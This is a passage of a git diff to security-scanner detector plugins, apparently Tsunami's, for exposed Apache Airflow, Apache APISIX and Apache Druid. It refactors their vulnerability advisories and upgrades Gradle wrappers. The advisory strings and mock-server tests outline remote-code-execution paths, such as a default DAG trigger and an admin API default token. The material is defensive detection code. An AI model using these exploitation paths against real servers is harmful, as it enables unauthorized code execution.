com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -130,25 +127,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2020-17526")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2020-17526 Authentication bypass lead to Arbitrary Code Execution" - + " in Apache Airflow prior to 1.10.14") - .setDescription( - "An attacker can bypass the authentication and then use a default DAG" - + " to execute arbitrary code on the server hosting the apache" - + " airflow application.") - .setRecommendation( - "update to version 1.10.14. Also, you can change the default value for" - + " the '[webserver] secret_key' config to a securely generated" - + " random value to sign the cookies with a non-default secret" - + " key.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -206,7 +185,7 @@ private void startMockWebServer() throws IOException { @Override public MockResponse dispatch(RecordedRequest request) { switch (request.getPath()) { - // fall through + // fall through case "/admin/": return new MockResponse() .setResponseCode(200) @@ -218,7 +197,7 @@ public MockResponse dispatch(RecordedRequest request) { .equals("session=aaaaaa")) { return new MockResponse().setResponseCode(200); } - // fall through + // fall through case "/admin/airflow/trigger?dag_id=example_trigger_target_dag&origin=%2Fadmin%2Fairflow%2Ftree%3Fdag_id%3Dexample_trigger_target_dag": if (Objects.requireNonNull(request.getHeaders().get("X-CSRFToken")).equals("bbbbbb") && Objects.requireNonNull(request.getHeaders().get("Cookie")) @@ -229,7 +208,7 @@ public MockResponse dispatch(RecordedRequest request) { .contains("dag_id=example_trigger_target_dag&origin=")) { return new MockResponse().setResponseCode(200); } - // fall through + // fall through default: return new MockResponse().setResponseCode(400); } diff --git a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_airflow_exposed_ui/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_airflow_exposed_ui/gradlew b/community/detectors/apache_airflow_exposed_ui/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/apache_airflow_exposed_ui/gradlew +++ b/community/detectors/apache_airflow_exposed_ui/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_airflow_exposed_ui/gradlew.bat b/community/detectors/apache_airflow_exposed_ui/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/apache_airflow_exposed_ui/gradlew.bat +++ b/community/detectors/apache_airflow_exposed_ui/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java index a46897109..94f2cdd91 100644 --- a/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java +++ b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java @@ -109,28 +109,30 @@ public DetectionReportList detect( networkService -> { if (isServiceVulnerableCheckOutOfBandCallback(networkService)) { detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Apache Airflow Server is misconfigured and can be accessed publicly," - + " Tsunami security scanner confirmed this by sending an HTTP request" - + " with test connection API and receiving the corresponding callback" - + " on tsunami callback server.", - Severity.CRITICAL)); + buildDetectionReport(targetInfo, networkService, Severity.CRITICAL)); } else if (isServiceVulnerableCheckResponse(networkService)) { detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Apache Airflow Server is misconfigured and can be accessed " - + "publicly, We confirmed this by checking API endpoint and matching " - + "the responses with our pattern.", - Severity.HIGH)); + buildDetectionReport(targetInfo, networkService, Severity.HIGH)); } }); return detectionReport.build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) + .setSeverity(Severity.CRITICAL) // note that the severity is adjusted by the detector. + .setTitle("Exposed Apache Airflow Server") + .setDescription("Apache Airflow Server is misconfigured and can be accessed publicly") + .setRecommendation(RECOMMENDATION) + .build()); + } + public boolean isApacheAirflow(NetworkService networkService) { logger.atInfo().log("probing apache airflow login page - custom fingerprint phase"); @@ -229,25 +231,13 @@ private Payload getTsunamiCallbackHttpPayload() { } private DetectionReport buildDetectionReport( - TargetInfo targetInfo, - NetworkService vulnerableNetworkService, - String description, - Severity severity) { + TargetInfo targetInfo, NetworkService vulnerableNetworkService, Severity severity) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo) .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) - .setSeverity(severity) - .setTitle("Exposed Apache Airflow Server") - .setDescription(description) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(getAdvisories().get(0).toBuilder().setSeverity(severity)) .build(); } } diff --git a/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java b/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java index d49c421c9..ff1e26d70 100644 --- a/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java +++ b/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java @@ -18,7 +18,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.exposedui.ExposedAirflowServerDetector.RECOMMENDATION; import com.google.common.collect.ImmutableList; import com.google.common.truth.Truth; @@ -35,8 +34,6 @@ import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -111,20 +108,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed Apache Airflow Server") - .setDescription( - "Apache Airflow Server is misconfigured and can be accessed publicly," - + " Tsunami security scanner confirmed this by sending an HTTP" - + " request with test connection API and receiving the" - + " corresponding callback on tsunami callback server.") - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -208,18 +192,7 @@ public void detect_withResponseMatching_insteadof_withoutCallbackServer() throws Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) - .setSeverity(Severity.HIGH) - .setTitle("Exposed Apache Airflow Server") - .setDescription( - "Apache Airflow Server is misconfigured and can be accessed publicly," - + " We confirmed this by checking API endpoint and matching the" - + " responses with our pattern.") - .setRecommendation(RECOMMENDATION)) + detector.getAdvisories().get(0).toBuilder().setSeverity(Severity.HIGH)) .build()); } diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java b/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java index b9e534f64..2afe01318 100644 --- a/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java +++ b/community/detectors/apache_apisix_cve_2022_24112/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112Detector.java @@ -99,6 +99,26 @@ public final class Cve202224112Detector implements VulnDetector { Resources.toString(Resources.getResource(this.getClass(), "pipeRequestBody.json"), UTF_8); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-24112")) + .setSeverity(Severity.CRITICAL) + .setTitle("Apache APISIX RCE (CVE-2022-24112)") + .setDescription( + "Some of Apache APISIX 2.x versions allows attacker to" + + " bypass IP restrictions of Admin API through the batch-requests plugin." + + " A default configuration of Apache APISIX (with default API key) is" + + " vulnerable to remote code execution through the plugin.") + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-24112")) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -275,20 +295,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-24112")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX RCE (CVE-2022-24112)") - .setDescription( - "Some of Apache APISIX 2.x versions allows attacker to" - + " bypass IP restrictions of Admin API through the batch-requests plugin." - + " A default configuration of Apache APISIX (with default API key) is" - + " vulnerable to remote code execution through the plugin.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } - diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java index c0ebbbce7..f09b4ac39 100644 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java +++ b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithCallbackServerTest.java @@ -92,7 +92,8 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly(TestHelper.buildValidDetectionReport(targetInfo, service, fakeUtcClock)); + .containsExactly( + TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); assertThat(mockWebServer.getRequestCount()).isEqualTo(2); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); } @@ -127,4 +128,3 @@ public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { assertThat(detectionReports.getDetectionReportsList()).isEmpty(); } } - diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java index cb2fd7f43..0071e4f43 100644 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java +++ b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/Cve202224112DetectorWithoutCallbackServerTest.java @@ -84,7 +84,8 @@ public void detect_whenVulnerable_returnsVulnerability() { DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly(TestHelper.buildValidDetectionReport(targetInfo, service, fakeUtcClock)); + .containsExactly( + TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); assertThat(mockWebServer.getRequestCount()).isEqualTo(4); } @@ -121,4 +122,3 @@ public void detect_ifNotCreatedRoute_doesNotReportVuln() { assertThat(detectionReports.getDetectionReportsList()).isEmpty(); } } - diff --git a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java index 943b5909b..128ea23b8 100644 --- a/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java +++ b/community/detectors/apache_apisix_cve_2022_24112/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202224112/TestHelper.java @@ -24,11 +24,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; import okhttp3.mockwebserver.MockWebServer; @@ -49,26 +46,16 @@ static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { } static DetectionReport buildValidDetectionReport( - TargetInfo targetInfo, NetworkService service, FakeUtcClock fakeUtcClock) { + Cve202224112Detector detector, + TargetInfo targetInfo, + NetworkService service, + FakeUtcClock fakeUtcClock) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo) .setNetworkService(service) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-24112")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX RCE (CVE-2022-24112)") - .setDescription( - "Some of Apache APISIX 2.x versions allows attacker to" - + " bypass IP restrictions of Admin API through the batch-requests plugin." - + " A default configuration of Apache APISIX (with default API key) is" - + " vulnerable to remote code execution through the plugin.")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } } - diff --git a/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_apisix_default_token/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_apisix_default_token/gradlew b/community/detectors/apache_apisix_default_token/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/apache_apisix_default_token/gradlew +++ b/community/detectors/apache_apisix_default_token/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_apisix_default_token/gradlew.bat b/community/detectors/apache_apisix_default_token/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/apache_apisix_default_token/gradlew.bat +++ b/community/detectors/apache_apisix_default_token/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java b/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java index c2078ebe9..408c0e8eb 100644 --- a/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java +++ b/community/detectors/apache_apisix_default_token/src/main/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetector.java @@ -102,6 +102,22 @@ public final class ApacheDefaultTokenDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APISIX_DEFAULT_TOKEN")) + .setSeverity(Severity.CRITICAL) + .setTitle("Apache APISIX's Admin API Default Access Token (RCE)") + .setRecommendation( + "Change the default admin API key and set appropriate IP access control lists.") + .setDescription(VULN_DESCRIPTION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -185,17 +201,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APISIX_DEFAULT_TOKEN")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX's Admin API Default Access Token (RCE)") - .setRecommendation( - "Change the default admin API key and set appropriate IP access control lists.") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java b/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java index 04ad99b11..3ffbac837 100644 --- a/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java +++ b/community/detectors/apache_apisix_default_token/src/test/java/com/google/tsunami/plugins/detectors/rce/apachedefaulttoken/ApacheDefaultTokenDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -110,18 +107,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("APISIX_DEFAULT_TOKEN")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache APISIX's Admin API Default Access Token (RCE)") - .setRecommendation( - "Change the default admin API key and set appropriate IP access control" - + " lists.") - .setDescription(ApacheDefaultTokenDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.jar b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.properties b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew +++ b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/gradlew.bat 